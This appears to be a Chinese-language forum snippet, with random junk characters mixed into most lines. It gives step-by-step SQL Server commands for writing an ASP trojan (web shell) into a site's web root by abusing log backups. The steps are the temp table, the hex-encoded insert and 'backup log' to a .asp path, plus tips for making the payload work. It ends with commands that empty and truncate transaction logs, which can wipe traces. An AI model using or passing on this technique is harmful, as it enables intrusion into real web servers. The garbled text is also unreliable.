select * from master.dbo.sysdatabases 列出所有列的记录1 V$ K7 |0 \) ] _
/ K8 ^3 c1 Q! J! R8 Z* t" G
select name from master.dbo.sysdatabases 仅列出name列的记录
2 ^6 X9 W; B- a/ t* S4 z4 U( f& s8 M. U7 \, d, j
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份2 m- u( D, v& s6 @* T2 e
! O8 j( t6 e$ L( Z5 D, g- }! S$ _alter database 数据库名 set RECOVERY FULL--
# o s7 C/ }1 {* r
# f8 H/ ~# I' m H0 h. Ecreate table cmd (a image)-- \**cmd是创建的临时表, x1 g) j0 Y z7 Y3 ~
- F* |4 t# o1 Z2 Lbackup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--' @0 V: w5 j+ h! X4 L v. N
! A* ]" \. y* o; J
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--& x- j2 y2 c4 _' _
- \ Y- E6 s( T* N6 u- r//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)
9 L: l( j6 U* x( G3 `1 c
. B) o3 Y0 n# o% cbackup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)2 C- b2 @' c% q& p$ J
0 c8 j5 |, I% Y" Q6 mdrop table cmd--5 R- t' Q- @$ _- \; d. x2 \
# Y5 x: n: k/ Q
% ]8 \, r5 q7 ?( k! \7 p) ]
f:\
7 M- o3 t' l% P4 q16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)1 G& W) r7 J$ d4 e
q9 y* J4 _: P) g1 }, T
最好多加几个回车0d0a,要不会出错哈; M$ W; v$ }! {: d" V( S
; P& B4 e% |, a6 L" ]
: h) Y, T* ~6 n3 B& f' s
SQL Server日志清空方法 : Y2 F) v/ O' D3 r$ q3 j
$ h2 U$ l7 x9 o8 n9 N
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名 / `* G0 p( W* d+ @; X% k
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG
+ L9 s) b# a: ?: s
8 \# K- i2 o; y3 x" d5 ^# y2.截断事务日志:BACKUP LOG databasename WITH NO_LOG ) C7 O9 Z) U: k1 b$ ]" h
, E4 z' e" B% I5 {: R2 Y9 D( D3 ] P3.收缩数据库:DBCC SHRINKDATABASE(databasename) ( R: D/ ~7 q/ S( r
|